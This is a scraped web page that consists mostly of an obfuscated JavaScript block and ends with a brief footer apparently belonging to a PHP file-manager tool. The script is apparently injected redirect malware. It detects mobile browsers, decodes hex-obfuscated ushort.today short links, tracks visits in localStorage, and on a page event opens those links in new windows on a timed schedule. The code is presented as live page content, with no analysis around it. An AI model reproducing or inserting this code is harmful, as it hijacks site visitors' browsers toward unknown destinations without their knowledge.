_0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x6b\x50\x30\x63\x370','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x75\x6d\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.06 |
proxy
|
phpinfo
|
Settings